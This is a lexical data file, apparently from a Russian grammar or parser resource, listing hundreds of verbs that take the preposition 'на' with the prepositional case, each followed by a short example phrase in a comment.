rus_verbs:сиживать{}, // сиживать на крыльце
rus_verbs:тараторить{}, // тараторить на иностранном языке
rus_verbs:теплеть{}, // теплеть на сердце
rus_verbs:покачаться{}, // покачаться на ветке
rus_verbs:сосредоточиваться{}, // сосредоточиваться на главной задаче
rus_verbs:развязывать{}, // развязывать на ботинках
rus_verbs:подвозить{}, // подвозить на мотороллере
rus_verbs:вышивать{}, // вышивать на рубашке
rus_verbs:скупать{}, // скупать на открытом рынке
rus_verbs:оформлять{}, // оформлять на встрече
rus_verbs:распускаться{}, // распускаться на клумбах
rus_verbs:прогореть{}, // прогореть на спекуляциях
rus_verbs:приползти{}, // приползти на коленях
rus_verbs:загореть{}, // загореть на пляже
rus_verbs:остудить{}, // остудить на балконе
rus_verbs:нарвать{}, // нарвать на поляне
rus_verbs:издохнуть{}, // издохнуть на болоте
rus_verbs:разгружать{}, // разгружать на дороге
rus_verbs:произрастать{}, // произрастать на болотах
rus_verbs:разуться{}, // разуться на коврике
rus_verbs:сооружать{}, // сооружать на площади
rus_verbs:зачитывать{}, // зачитывать на митинге
rus_verbs:уместиться{}, // уместиться на ладони
rus_verbs:закупить{}, // закупить на рынке
rus_verbs:горланить{}, // горланить на улице
rus_verbs:экономить{}, // экономить на спичках
rus_verbs:исправлять{}, // исправлять на доске
rus_verbs:расслабляться{}, // расслабляться на лежаке
rus_verbs:скапливаться{}, // скапливаться на крыше
rus_verbs:сплетничать{}, // сплетничать на скамеечке
rus_verbs:отъезжать{}, // отъезжать на лимузине
rus_verbs:отчитывать{}, // отчитывать на собрании
rus_verbs:сфокусировать{}, // сфокусировать на удаленной точке
rus_verbs:потчевать{}, // потчевать на лаврах
rus_verbs:окопаться{}, // окопаться на окраине
rus_verbs:загорать{}, // загорать на пляже
rus_verbs:обгореть{}, // обгореть на солнце
rus_verbs:распознавать{}, // распознавать на фотографии
rus_verbs:заплетаться{}, // заплетаться на макушке
rus_verbs:перегреться{}, // перегреться на жаре
rus_verbs:подметать{}, // подметать на крыльце
rus_verbs:нарисоваться{}, // нарисоваться на горизонте
rus_verbs:проскакивать{}, // проскакивать на экране
rus_verbs:попивать{}, // попивать на балконе чай
rus_verbs:отплывать{}, // отплывать на лодке
rus_verbs:чирикать{}, // чирикать на ветках
rus_verbs:скупить{}, // скупить на оптовых базах
rus_verbs:наколоть{}, // наколоть на коже картинку
rus_verbs:созревать{}, // созревать на ветке
rus_verbs:проколоться{}, // проколоться на мелочи
rus_verbs:крутнуться{}, // крутнуться на заднем колесе
rus_verbs:переночевать{}, // переночевать на постоялом дворе
rus_verbs:концентрироваться{}, // концентрироваться на фильтре
rus_verbs:одичать{}, // одичать на хуторе
rus_verbs:спасаться{}, // спасаются на лодке
rus_verbs:доказываться{}, // доказываться на страницах книги
rus_verbs:познаваться{}, // познаваться на ринге
rus_verbs:замыкаться{}, // замыкаться на металлическом предмете
rus_verbs:заприметить{}, // заприметить на пригорке
rus_verbs:продержать{}, // продержать на морозе
rus_verbs:форсировать{}, // форсировать на плотах
rus_verbs:сохнуть{}, // сохнуть на солнце
rus_verbs:выявить{}, // выявить на поверхности
rus_verbs:заседать{}, // заседать на кафедре
rus_verbs:расплачиваться{}, // расплачиваться на выходе
rus_verbs:светлеть{}, // светлеть на горизонте
rus_verbs:залепетать{}, // залепетать на незнакомом языке
rus_verbs:подсчитывать{}, // подсчитывать на пальцах
rus_verbs:зарыть{}, // зарыть на пустыре
rus_verbs:сформироваться{}, // сформироваться на месте
rus_verbs:развертываться{}, // развертываться на площадке
rus_verbs:набивать{}, // набивать на манекенах
rus_verbs:замерзать{}, // замерзать на ветру
rus_verbs:схватывать{}, // схватывать на лету
rus_verbs:перевестись{}, // перевестись на Руси
rus_verbs:смешивать{}, // смешивать на блюдце
rus_verbs:прождать{}, // прождать на входе
rus_verbs:мерзнуть{}, // мерзнуть на ветру
rus_verbs:растирать{}, // растирать на коже
rus_verbs:переспать{}, // переспал на сеновале
rus_verbs:рассекать{}, // рассекать на скутере
rus_verbs:опровергнуть{}, // опровергнуть на высшем уровне
rus_verbs:дрыхнуть{}, // дрыхнуть на диване
rus_verbs:распять{}, // распять на кресте
rus_verbs:запечься{}, // запечься на костре
rus_verbs:застилать{}, // застилать на балконе
rus_verbs:сыскаться{}, // сыскаться на огороде
rus_verbs:разориться{}, // разориться на продаже спичек
rus_verbs:переделать{}, // переделать на станке
rus_verbs:разъяснять{}, // разъяснять на страницах газеты
rus_verbs:поседеть{}, // поседеть на висках
rus_verbs:протащить{}, // протащить на спине
rus_verbs:осуществиться{}, // осуществиться на деле
rus_verbs:селиться{}, // селиться на окраине
rus_verbs:оплачивать{}, // оплачивать на первой кассе
rus_verbs:переворачивать{}, // переворачивать на сковородке
rus_verbs:упражняться{}, // упражняться на батуте
rus_verbs:испробовать{}, // испробовать на себе
rus_verbs:разгладиться{}, // разгладиться на спине
rus_verbs:рисоваться{}, // рисоваться на стекле
rus_verbs:продрогнуть{}, // продрогнуть на морозе
rus_verbs:пометить{}, // пометить на доске
rus_verbs:приютить{}, // приютить на чердаке
rus_verbs:избирать{}, // избирать на первых свободных выборах
rus_verbs:затеваться{}, // затеваться на матче
rus_verbs:уплывать{}, // уплывать на катере
rus_verbs:замерцать{}, // замерцать на рекламном щите
rus_verbs:фиксироваться{}, // фиксироваться на достигнутом уровне
rus_verbs:запираться{}, // запираться на чердаке
rus_verbs:загубить{}, // загубить на корню
rus_verbs:развеяться{}, // развеяться на природе
rus_verbs:съезжаться{}, // съезжаться на лимузинах
rus_verbs:потанцевать{}, // потанцевать на могиле
rus_verbs:дохнуть{}, // дохнуть на солнце
rus_verbs:припарковаться{}, // припарковаться на газоне
rus_verbs:отхватить{}, // отхватить на распродаже
rus_verbs:остывать{}, // остывать на улице
rus_verbs:переваривать{}, // переваривать на высокой ветке
rus_verbs:подвесить{}, // подвесить на веревке
rus_verbs:хвастать{}, // хвастать на работе
rus_verbs:отрабатывать{}, // отрабатывать на уборке урожая
rus_verbs:разлечься{}, // разлечься на полу
rus_verbs:очертить{}, // очертить на полу
rus_verbs:председательствовать{}, // председательствовать на собрании
rus_verbs:сконфузиться{}, // сконфузиться на сцене
rus_verbs:выявляться{}, // выявляться на ринге
rus_verbs:крутануться{}, // крутануться на заднем колесе
rus_verbs:караулить{}, // караулить на входе
rus_verbs:перечислять{}, // перечислять на пальцах
rus_verbs:обрабатывать{}, // обрабатывать на станке
rus_verbs:настигать{}, // настигать на берегу
rus_verbs:разгуливать{}, // разгуливать на берегу
rus_verbs:насиловать{}, // насиловать на пляже
rus_verbs:поредеть{}, // поредеть на макушке
rus_verbs:учитывать{}, // учитывать на балансе
rus_verbs:зарождаться{}, // зарождаться на большой глубине
rus_verbs:распространять{}, // распространять на сайтах
rus_verbs:пировать{}, // пировать на вершине холма
rus_verbs:начертать{}, // начертать на стене
rus_verbs:расцветать{}, // расцветать на подоконнике
rus_verbs:умнеть{}, // умнеть на глазах
rus_verbs:царствовать{}, // царствовать на окраине
rus_verbs:закрутиться{}, // закрутиться на работе
rus_verbs:отработать{}, // отработать на шахте
rus_verbs:полечь{}, // полечь на поле брани
rus_verbs:щебетать{}, // щебетать на ветке
rus_verbs:подчеркиваться{}, // подчеркиваться на сайте
rus_verbs:посеять{}, // посеять на другом поле
rus_verbs:замечаться{}, // замечаться на пастбище
rus_verbs:просчитать{}, // просчитать на пальцах
rus_verbs:голосовать{}, // голосовать на трассе
rus_verbs:маяться{}, // маяться на пляже
rus_verbs:сколотить{}, // сколотить на службе
rus_verbs:обретаться{}, // обретаться на чужбине
rus_verbs:обливаться{}, // обливаться на улице
rus_verbs:катать{}, // катать на лошадке
rus_verbs:припрятать{}, // припрятать на теле
rus_verbs:запаниковать{}, // запаниковать на экзамене
инфинитив:слетать{ вид:соверш }, глагол:слетать{ вид:соверш }, // слетать на частном самолете
деепричастие:слетав{},
rus_verbs:срубить{}, // срубить денег на спекуляциях
rus_verbs:зажигаться{}, // зажигаться на улице
rus_verbs:жарить{}, // жарить на углях
rus_verbs:накапливаться{}, // накапливаться на счету
rus_verbs:распуститься{}, // распуститься на грядке
rus_verbs:рассаживаться{}, // рассаживаться на местах
rus_verbs:странствовать{}, // странствовать на лошади
rus_verbs:осматриваться{}, // осматриваться на месте
rus_verbs:разворачивать{}, // разворачивать на завоеванной территории
rus_verbs:согревать{}, // согревать на вершине горы
rus_verbs:заскучать{}, // заскучать на вахте
rus_verbs:перекусить{}, // перекусить на бегу
rus_verbs:приплыть{}, // приплыть на тримаране
rus_verbs:зажигать{}, // зажигать на танцах
rus_verbs:закопать{}, // закопать на поляне
rus_verbs:стирать{}, // стирать на берегу
rus_verbs:подстерегать{}, // подстерегать на подходе
rus_verbs:погулять{}, // погулять на свадьбе
rus_verbs:огласить{}, // огласить на митинге
rus_verbs:разбогатеть{}, // разбогатеть на прииске
rus_verbs:грохотать{}, // грохотать на чердаке
rus_verbs:расположить{}, // расположить на границе
rus_verbs:реализоваться{}, // реализоваться на новой работе
rus_verbs:застывать{}, // застывать на морозе
rus_verbs:запечатлеть{}, // запечатлеть на пленке
rus_verbs:тренироваться{}, // тренироваться на манекене
rus_verbs:поспорить{}, // поспорить на совещании
rus_verbs:затягивать{}, // затягивать на поясе
rus_verbs:зиждиться{}, // зиждиться на твердой основе
rus_verbs:построиться{}, // построиться на песке
rus_verbs:надрываться{}, // надрываться на работе
rus_verbs:закипать{}, // закипать на плите
rus_verbs:затонуть{}, // затонуть на мелководье
rus_verbs:побыть{}, // побыть на фазенде
rus_verbs:сгорать{}, // сгорать на солнце
инфинитив:пописать{ aux stress="поп^исать" }, глагол:пописать{ aux stress="поп^исать" }, // пописать на улице
деепричастие:пописав{ aux stress="поп^исав" },
rus_verbs:подраться{}, // подраться на сцене
rus_verbs:заправить{}, // заправить на последней заправке
rus_verbs:обозначаться{}, // обозначаться на карте
rus_verbs:просиживать{}, // просиживать на берегу
rus_verbs:начертить{}, // начертить на листке
rus_verbs:тормозить{}, // тормозить на льду
rus_verbs:затевать{}, // затевать на космической базе
rus_verbs:задерживать{}, // задерживать на таможне
rus_verbs:прилетать{}, // прилетать на частном самолете
rus_verbs:полулежать{}, // полулежать на травке
rus_verbs:ерзать{}, // ерзать на табуретке
rus_verbs:покопаться{}, // покопаться на складе
rus_verbs:подвезти{}, // подвезти на машине
rus_verbs:полежать{}, // полежать на водном матрасе
rus_verbs:стыть{}, // стыть на улице
rus_verbs:стынуть{}, // стынуть на улице
rus_verbs:скреститься{}, // скреститься на груди
rus_verbs:припарковать{}, // припарковать на стоянке
rus_verbs:здороваться{}, // здороваться на кафедре
rus_verbs:нацарапать{}, // нацарапать на парте
rus_verbs:откопать{}, // откопать на поляне
rus_verbs:смастерить{}, // смастерить на коленках
rus_verbs:довезти{}, // довезти на машине
rus_verbs:избивать{}, // избивать на крыше
rus_verbs:сварить{}, // сварить на костре
rus_verbs:истребить{}, // истребить на корню
rus_verbs:раскопать{}, // раскопать на болоте
rus_verbs:попить{}, // попить на кухне
rus_verbs:заправлять{}, // заправлять на базе
rus_verbs:кушать{}, // кушать на кухне
rus_verbs:замолкать{}, // замолкать на половине фразы
rus_verbs:измеряться{}, // измеряться на весах
rus_verbs:сбываться{}, // сбываться на самом деле
rus_verbs:изображаться{}, // изображается на сцене
rus_verbs:фиксировать{}, // фиксировать на данной высоте
rus_verbs:ослаблять{}, // ослаблять на шее
rus_verbs:зреть{}, // зреть на грядке
rus_verbs:зеленеть{}, // зеленеть на грядке
rus_verbs:критиковать{}, // критиковать на страницах газеты
rus_verbs:облететь{}, // облететь на самолете
rus_verbs:заразиться{}, // заразиться на работе
rus_verbs:рассеять{}, // рассеять на территории
rus_verbs:печься{}, // печься на костре
rus_verbs:поспать{}, // поспать на земле
rus_verbs:сплетаться{}, // сплетаться на макушке
rus_verbs:удерживаться{}, // удерживаться на расстоянии
rus_verbs:помешаться{}, // помешаться на чистоте
rus_verbs:ликвидировать{}, // ликвидировать на полигоне
rus_verbs:проваляться{}, // проваляться на диване
rus_verbs:лечиться{}, // лечиться на дому
rus_verbs:обработать{}, // обработать на станке
rus_verbs:защелкнуть{}, // защелкнуть на руках
rus_verbs:разносить{}, // разносить на одежде
rus_verbs:чесать{}, // чесать на груди
rus_verbs:наладить{}, // наладить на конвейере выпуск
rus_verbs:отряхнуться{}, // отряхнуться на улице
rus_verbs:разыгрываться{}, // разыгрываться на скачках
rus_verbs:обеспечиваться{}, // обеспечиваться на выгодных условиях
rus_verbs:греться{}, // греться на вокзале
rus_verbs:засидеться{}, // засидеться на одном месте
rus_verbs:материализоваться{}, // материализоваться на границе
rus_verbs:рассеиваться{}, // рассеиваться на высоте вершин
rus_verbs:перевозить{}, // перевозить на платформе
rus_verbs:поиграть{}, // поиграть на скрипке
rus_verbs:потоптаться{}, // потоптаться на одном месте
rus_verbs:переправиться{}, // переправиться на плоту
rus_verbs:забрезжить{}, // забрезжить на горизонте
rus_verbs:завывать{}, // завывать на опушке
rus_verbs:заваривать{}, // заваривать на кухоньке
rus_verbs:перемещаться{}, // перемещаться на спасательном плоту
инфинитив:писаться{ aux stress="пис^аться" }, глагол:писаться{ aux stress="пис^аться" }, // писаться на бланке
rus_verbs:праздновать{}, // праздновать на улицах
rus_verbs:обучить{}, // обучить на корте
rus_verbs:орудовать{}, // орудовать на складе
rus_verbs:подрасти{}, // подрасти на глядке
rus_verbs:шелестеть{}, // шелестеть на ветру
rus_verbs:раздеваться{}, // раздеваться на публике
rus_verbs:пообедать{}, // пообедать на газоне
rus_verbs:жрать{}, // жрать на помойке
rus_verbs:исполняться{}, // исполняться на флейте
rus_verbs:похолодать{}, // похолодать на улице
rus_verbs:гнить{}, // гнить на каторге
rus_verbs:прослушать{}, // прослушать на концерте
rus_verbs:совещаться{}, // совещаться на заседании
rus_verbs:покачивать{}, // покачивать на волнах
rus_verbs:отсидеть{}, // отсидеть на гаупвахте
rus_verbs:формировать{}, // формировать на секретной базе
rus_verbs:захрапеть{}, // захрапеть на кровати
rus_verbs:объехать{}, // объехать на попутке
rus_verbs:поселить{}, // поселить на верхних этажах
rus_verbs:заворочаться{}, // заворочаться на сене
rus_verbs:напрятать{}, // напрятать на теле
rus_verbs:очухаться{}, // очухаться на земле
rus_verbs:полистать{}, // полистать на досуге
rus_verbs:завертеть{}, // завертеть на шесте
rus_verbs:печатать{}, // печатать на ноуте
rus_verbs:отыскаться{}, // отыскаться на складе
rus_verbs:зафиксировать{}, // зафиксировать на пленке
rus_verbs:расстилаться{}, // расстилаться на столе
rus_verbs:заместить{}, // заместить на посту
rus_verbs:угасать{}, // угасать на неуправляемом корабле
rus_verbs:сразить{}, // сразить на ринге
rus_verbs:расплываться{}, // расплываться на жаре
rus_verbs:сосчитать{}, // сосчитать на пальцах
rus_verbs:сгуститься{}, // сгуститься на небольшой высоте
rus_verbs:цитировать{}, // цитировать на плите
rus_verbs:ориентироваться{}, // ориентироваться на местности
rus_verbs:расширить{}, // расширить на другом конце
rus_verbs:обтереть{}, // обтереть на стоянке
rus_verbs:подстрелить{}, // подстрелить на охоте
rus_verbs:растереть{}, // растереть на твердой поверхности
rus_verbs:подавлять{}, // подавлять на первом этапе
rus_verbs:смешиваться{}, // смешиваться на поверхности
// инфинитив:вычитать{ aux stress="в^ычитать" }, глагол:вычитать{ aux stress="в^ычитать" }, // вычитать на сайте
// деепричастие:вычитав{},
rus_verbs:сократиться{}, // сократиться на втором этапе
rus_verbs:занервничать{}, // занервничать на экзамене
rus_verbs:соприкоснуться{}, // соприкоснуться на трассе
rus_verbs:обозначить{}, // обозначить на плане
rus_verbs:обучаться{}, // обучаться на производстве
rus_verbs:снизиться{}, // снизиться на большой высоте
rus_verbs:простудиться{}, // простудиться на ветру
rus_verbs:поддерживаться{}, // поддерживается на встрече
rus_verbs:уплыть{}, // уплыть на лодочке
rus_verbs:резвиться{}, // резвиться на песочке
rus_verbs:поерзать{}, // поерзать на скамеечке
rus_verbs:похвастаться{}, // похвастаться на встрече
rus_verbs:знакомиться{}, // знакомиться на уроке
rus_verbs:проплывать{}, // проплывать на катере
rus_verbs:засесть{}, // засесть на чердаке
rus_verbs:подцепить{}, // подцепить на дискотеке
rus_verbs:обыскать{}, // обыскать на входе
rus_verbs:оправдаться{}, // оправдаться на суде
rus_verbs:раскрываться{}, // раскрываться на сцене
rus_verbs:одеваться{}, // одеваться на вещевом рынке
rus_verbs:засветиться{}, // засветиться на фотографиях
rus_verbs:употребляться{}, // употребляться на птицефабриках
rus_verbs:грабить{}, // грабить на пустыре
rus_verbs:гонять{}, // гонять на повышенных оборотах
rus_verbs:развеваться{}, // развеваться на древке
rus_verbs:основываться{}, // основываться на безусловных фактах
rus_verbs:допрашивать{}, // допрашивать на базе
rus_verbs:проработать{}, // проработать на стройке
rus_verbs:сосредоточить{}, // сосредоточить на месте
rus_verbs:сочинять{}, // сочинять на ходу
rus_verbs:ползать{}, // ползать на камне
rus_verbs:раскинуться{}, // раскинуться на пустыре
rus_verbs:уставать{}, // уставать на работе
rus_verbs:укрепить{}, // укрепить на конце
rus_verbs:образовывать{}, // образовывать на открытом воздухе взрывоопасную смесь
rus_verbs:одобрять{}, // одобрять на словах
rus_verbs:приговорить{}, // приговорить на заседании тройки
rus_verbs:чернеть{}, // чернеть на свету
rus_verbs:гнуть{}, // гнуть на станке
rus_verbs:размещаться{}, // размещаться на бирже
rus_verbs:соорудить{}, // соорудить на даче
rus_verbs:пастись{}, // пастись на лугу
rus_verbs:формироваться{}, // формироваться на дне
rus_verbs:таить{}, // таить на дне
rus_verbs:приостановиться{}, // приостановиться на середине
rus_verbs:топтаться{}, // топтаться на месте
rus_verbs:громить{}, // громить на подступах
rus_verbs:вычислить{}, // вычислить на бумажке
rus_verbs:заказывать{}, // заказывать на сайте
rus_verbs:осуществить{}, // осуществить на практике
rus_verbs:обосноваться{}, // обосноваться на верхушке
rus_verbs:пытать{}, // пытать на электрическом стуле
rus_verbs:совершиться{}, // совершиться на заседании
rus_verbs:свернуться{}, // свернуться на медленном огне
rus_verbs:пролетать{}, // пролетать на дельтаплане
rus_verbs:сбыться{}, // сбыться на самом деле
rus_verbs:разговориться{}, // разговориться на уроке
rus_verbs:разворачиваться{}, // разворачиваться на перекрестке
rus_verbs:преподнести{}, // преподнести на блюдечке
rus_verbs:напечатать{}, // напечатать на лазернике
rus_verbs:прорвать{}, // прорвать на периферии
rus_verbs:раскачиваться{}, // раскачиваться на доске
rus_verbs:задерживаться{}, // задерживаться на старте
rus_verbs:угощать{}, // угощать на вечеринке
rus_verbs:шарить{}, // шарить на столе
rus_verbs:увеличивать{}, // увеличивать на первом этапе
rus_verbs:рехнуться{}, // рехнуться на старости лет
rus_verbs:расцвести{}, // расцвести на грядке
rus_verbs:закипеть{}, // закипеть на плите
rus_verbs:подлететь{}, // подлететь на параплане
rus_verbs:рыться{}, // рыться на свалке
rus_verbs:добираться{}, // добираться на попутках
rus_verbs:продержаться{}, // продержаться на вершине
rus_verbs:разыскивать{}, // разыскивать на выставках
rus_verbs:освобождать{}, // освобождать на заседании
rus_verbs:передвигаться{}, // передвигаться на самокате
rus_verbs:проявиться{}, // проявиться на свету
rus_verbs:заскользить{}, // заскользить на льду
rus_verbs:пересказать{}, // пересказать на сцене студенческого театра
rus_verbs:протестовать{}, // протестовать на улице
rus_verbs:указываться{}, // указываться на табличках
rus_verbs:прискакать{}, // прискакать на лошадке
rus_verbs:копошиться{}, // копошиться на свежем воздухе
rus_verbs:подсчитать{}, // подсчитать на бумажке
rus_verbs:разволноваться{}, // разволноваться на экзамене
rus_verbs:завертеться{}, // завертеться на полу
rus_verbs:ознакомиться{}, // ознакомиться на ходу
rus_verbs:ржать{}, // ржать на уроке
rus_verbs:раскинуть{}, // раскинуть на грядках
rus_verbs:разгромить{}, // разгромить на ринге
rus_verbs:подслушать{}, // подслушать на совещании
rus_verbs:описываться{}, // описываться на страницах книги
rus_verbs:качаться{}, // качаться на стуле
rus_verbs:усилить{}, // усилить на флангах
rus_verbs:набросать{}, // набросать на клочке картона
rus_verbs:расстреливать{}, // расстреливать на подходе
rus_verbs:запрыгать{}, // запрыгать на одной ноге
rus_verbs:сыскать{}, // сыскать на чужбине
rus_verbs:подтвердиться{}, // подтвердиться на практике
rus_verbs:плескаться{}, // плескаться на мелководье
rus_verbs:расширяться{}, // расширяться на конце
rus_verbs:подержать{}, // подержать на солнце
rus_verbs:планироваться{}, // планироваться на общем собрании
rus_verbs:сгинуть{}, // сгинуть на чужбине
rus_verbs:замкнуться{}, // замкнуться на точке
rus_verbs:закачаться{}, // закачаться на ветру
rus_verbs:перечитывать{}, // перечитывать на ходу
rus_verbs:перелететь{}, // перелететь на дельтаплане
rus_verbs:оживать{}, // оживать на солнце
rus_verbs:женить{}, // женить на богатой невесте
rus_verbs:заглохнуть{}, // заглохнуть на старте
rus_verbs:копаться{}, // копаться на полу
rus_verbs:развлекаться{}, // развлекаться на дискотеке
rus_verbs:печататься{}, // печататься на струйном принтере
rus_verbs:обрываться{}, // обрываться на полуслове
rus_verbs:ускакать{}, // ускакать на лошадке
rus_verbs:подписывать{}, // подписывать на столе
rus_verbs:добывать{}, // добывать на выработке
rus_verbs:скопиться{}, // скопиться на выходе
rus_verbs:повстречать{}, // повстречать на пути
rus_verbs:поцеловаться{}, // поцеловаться на площади
rus_verbs:растянуть{}, // растянуть на столе
rus_verbs:подаваться{}, // подаваться на благотворительном обеде
rus_verbs:повстречаться{}, // повстречаться на митинге
rus_verbs:примоститься{}, // примоститься на ступеньках
rus_verbs:отразить{}, // отразить на страницах доклада
rus_verbs:пояснять{}, // пояснять на страницах приложения
rus_verbs:накормить{}, // накормить на кухне
rus_verbs:поужинать{}, // поужинать на веранде
инфинитив:спеть{ вид:соверш }, глагол:спеть{ вид:соверш }, // спеть на митинге
деепричастие:спев{},
инфинитив:спеть{ вид:несоверш }, глагол:спеть{ вид:несоверш },
rus_verbs:топить{}, // топить на мелководье
rus_verbs:освоить{}, // освоить на практике
rus_verbs:распластаться{}, // распластаться на травке
rus_verbs:отплыть{}, // отплыть на старом каяке
rus_verbs:улетать{}, // улетать на любом самолете
rus_verbs:отстаивать{}, // отстаивать на корте
rus_verbs:осуждать{}, // осуждать на словах
rus_verbs:переговорить{}, // переговорить на обеде
rus_verbs:укрыть{}, // укрыть на чердаке
rus_verbs:томиться{}, // томиться на привязи
rus_verbs:сжигать{}, // сжигать на полигоне
rus_verbs:позавтракать{}, // позавтракать на лоне природы
rus_verbs:функционировать{}, // функционирует на солнечной энергии
rus_verbs:разместить{}, // разместить на сайте
rus_verbs:пронести{}, // пронести на теле
rus_verbs:нашарить{}, // нашарить на столе
rus_verbs:корчиться{}, // корчиться на полу
rus_verbs:распознать{}, // распознать на снимке
rus_verbs:повеситься{}, // повеситься на шнуре
rus_verbs:обозначиться{}, // обозначиться на картах
rus_verbs:оступиться{}, // оступиться на скользком льду
rus_verbs:подносить{}, // подносить на блюдечке
rus_verbs:расстелить{}, // расстелить на газоне
rus_verbs:обсуждаться{}, // обсуждаться на собрании
rus_verbs:расписаться{}, // расписаться на бланке
rus_verbs:плестись{}, // плестись на привязи
rus_verbs:объявиться{}, // объявиться на сцене
rus_verbs:повышаться{}, // повышаться на первом датчике
rus_verbs:разрабатывать{}, // разрабатывать на заводе
rus_verbs:прерывать{}, // прерывать на середине
rus_verbs:каяться{}, // каяться на публике
rus_verbs:освоиться{}, // освоиться на лошади
rus_verbs:подплыть{}, // подплыть на плоту
rus_verbs:оскорбить{}, // оскорбить на митинге
rus_verbs:торжествовать{}, // торжествовать на пьедестале
rus_verbs:поправлять{}, // поправлять на одежде
rus_verbs:отражать{}, // отражать на картине
rus_verbs:дремать{}, // дремать на кушетке
rus_verbs:применяться{}, // применяться на производстве стали
rus_verbs:поражать{}, // поражать на большой дистанции
rus_verbs:расстрелять{}, // расстрелять на окраине хутора
rus_verbs:рассчитать{}, // рассчитать на калькуляторе
rus_verbs:записывать{}, // записывать на ленте
rus_verbs:перебирать{}, // перебирать на ладони
rus_verbs:разбиться{}, // разбиться на катере
rus_verbs:поискать{}, // поискать на ферме
rus_verbs:прятать{}, // прятать на заброшенном складе
rus_verbs:пропеть{}, // пропеть на эстраде
rus_verbs:замелькать{}, // замелькать на экране
rus_verbs:грустить{}, // грустить на веранде
rus_verbs:крутить{}, // крутить на оси
rus_verbs:подготовить{}, // подготовить на конспиративной квартире
rus_verbs:различать{}, // различать на картинке
rus_verbs:киснуть{}, // киснуть на чужбине
rus_verbs:оборваться{}, // оборваться на полуслове
rus_verbs:запутаться{}, // запутаться на простейшем тесте
rus_verbs:общаться{}, // общаться на уроке
rus_verbs:производиться{}, // производиться на фабрике
rus_verbs:сочинить{}, // сочинить на досуге
rus_verbs:давить{}, // давить на лице
rus_verbs:разработать{}, // разработать на секретном предприятии
rus_verbs:качать{}, // качать на качелях
rus_verbs:тушить{}, // тушить на крыше пожар
rus_verbs:охранять{}, // охранять на территории базы
rus_verbs:приметить{}, // приметить на взгорке
rus_verbs:скрыть{}, // скрыть на теле
rus_verbs:удерживать{}, // удерживать на руке
rus_verbs:усвоить{}, // усвоить на уроке
rus_verbs:растаять{}, // растаять на солнечной стороне
rus_verbs:красоваться{}, // красоваться на виду
rus_verbs:сохраняться{}, // сохраняться на холоде
rus_verbs:лечить{}, // лечить на дому
rus_verbs:прокатиться{}, // прокатиться на уницикле
rus_verbs:договариваться{}, // договариваться на нейтральной территории
rus_verbs:качнуться{}, // качнуться на одной ноге
rus_verbs:опубликовать{}, // опубликовать на сайте
rus_verbs:отражаться{}, // отражаться на поверхности воды
rus_verbs:обедать{}, // обедать на веранде
rus_verbs:посидеть{}, // посидеть на лавочке
rus_verbs:сообщаться{}, // сообщаться на официальном сайте
rus_verbs:свершиться{}, // свершиться на заседании
rus_verbs:ночевать{}, // ночевать на даче
rus_verbs:темнеть{}, // темнеть на свету
rus_verbs:гибнуть{}, // гибнуть на территории полигона
rus_verbs:усиливаться{}, // усиливаться на территории округа
rus_verbs:проживать{}, // проживать на даче
rus_verbs:исследовать{}, // исследовать на большой глубине
rus_verbs:обитать{}, // обитать на громадной глубине
rus_verbs:сталкиваться{}, // сталкиваться на большой высоте
rus_verbs:таиться{}, // таиться на большой глубине
rus_verbs:спасать{}, // спасать на пожаре
rus_verbs:сказываться{}, // сказываться на общем результате
rus_verbs:заблудиться{}, // заблудиться на стройке
rus_verbs:пошарить{}, // пошарить на полках
rus_verbs:планировать{}, // планировать на бумаге
rus_verbs:ранить{}, // ранить на полигоне
rus_verbs:хлопать{}, // хлопать на сцене
rus_verbs:основать{}, // основать на горе новый монастырь
rus_verbs:отбить{}, // отбить на столе
rus_verbs:отрицать{}, // отрицать на заседании комиссии
rus_verbs:устоять{}, // устоять на ногах
rus_verbs:отзываться{}, // отзываться на страницах отчёта
rus_verbs:притормозить{}, // притормозить на обочине
rus_verbs:читаться{}, // читаться на лице
rus_verbs:заиграть{}, // заиграть на саксофоне
rus_verbs:зависнуть{}, // зависнуть на игровой площадке
rus_verbs:сознаться{}, // сознаться на допросе
rus_verbs:выясняться{}, // выясняться на очной ставке
rus_verbs:наводить{}, // наводить на столе порядок
rus_verbs:покоиться{}, // покоиться на кладбище
rus_verbs:значиться{}, // значиться на бейджике
rus_verbs:съехать{}, // съехать на санках
rus_verbs:познакомить{}, // познакомить на свадьбе
rus_verbs:завязать{}, // завязать на спине
rus_verbs:грохнуть{}, // грохнуть на площади
rus_verbs:разъехаться{}, // разъехаться на узкой дороге
rus_verbs:столпиться{}, // столпиться на крыльце
rus_verbs:порыться{}, // порыться на полках
rus_verbs:ослабить{}, // ослабить на шее
rus_verbs:оправдывать{}, // оправдывать на суде
rus_verbs:обнаруживаться{}, // обнаруживаться на складе
rus_verbs:спастись{}, // спастись на дереве
rus_verbs:прерваться{}, // прерваться на полуслове
rus_verbs:строиться{}, // строиться на пустыре
rus_verbs:познать{}, // познать на практике
rus_verbs:путешествовать{}, // путешествовать на поезде
rus_verbs:побеждать{}, // побеждать на ринге
rus_verbs:рассматриваться{}, // рассматриваться на заседании
rus_verbs:продаваться{}, // продаваться на открытом рынке
rus_verbs:разместиться{}, // разместиться на базе
rus_verbs:завыть{}, // завыть на холме
rus_verbs:настигнуть{}, // настигнуть на окраине
rus_verbs:укрыться{}, // укрыться на чердаке
rus_verbs:расплакаться{}, // расплакаться на заседании комиссии
rus_verbs:заканчивать{}, // заканчивать на последнем задании
rus_verbs:пролежать{}, // пролежать на столе
rus_verbs:громоздиться{}, // громоздиться на полу
rus_verbs:замерзнуть{}, // замерзнуть на открытом воздухе
rus_verbs:поскользнуться{}, // поскользнуться на льду
rus_verbs:таскать{}, // таскать на спине
rus_verbs:просматривать{}, // просматривать на сайте
rus_verbs:обдумать{}, // обдумать на досуге
rus_verbs:гадать{}, // гадать на кофейной гуще
rus_verbs:останавливать{}, // останавливать на выходе
rus_verbs:обозначать{}, // обозначать на странице
rus_verbs:долететь{}, // долететь на спортивном байке
rus_verbs:тесниться{}, // тесниться на чердачке
rus_verbs:хоронить{}, // хоронить на частном кладбище
rus_verbs:установиться{}, // установиться на юге
rus_verbs:прикидывать{}, // прикидывать на клочке бумаги
rus_verbs:затаиться{}, // затаиться на дереве
rus_verbs:раздобыть{}, // раздобыть на складе
rus_verbs:перебросить{}, // перебросить на вертолетах
rus_verbs:захватывать{}, // захватывать на базе
rus_verbs:сказаться{}, // сказаться на итоговых оценках
rus_verbs:покачиваться{}, // покачиваться на волнах
rus_verbs:крутиться{}, // крутиться на кухне
rus_verbs:помещаться{}, // помещаться на полке
rus_verbs:питаться{}, // питаться на помойке
rus_verbs:отдохнуть{}, // отдохнуть на загородной вилле
rus_verbs:кататься{}, // кататься на велике
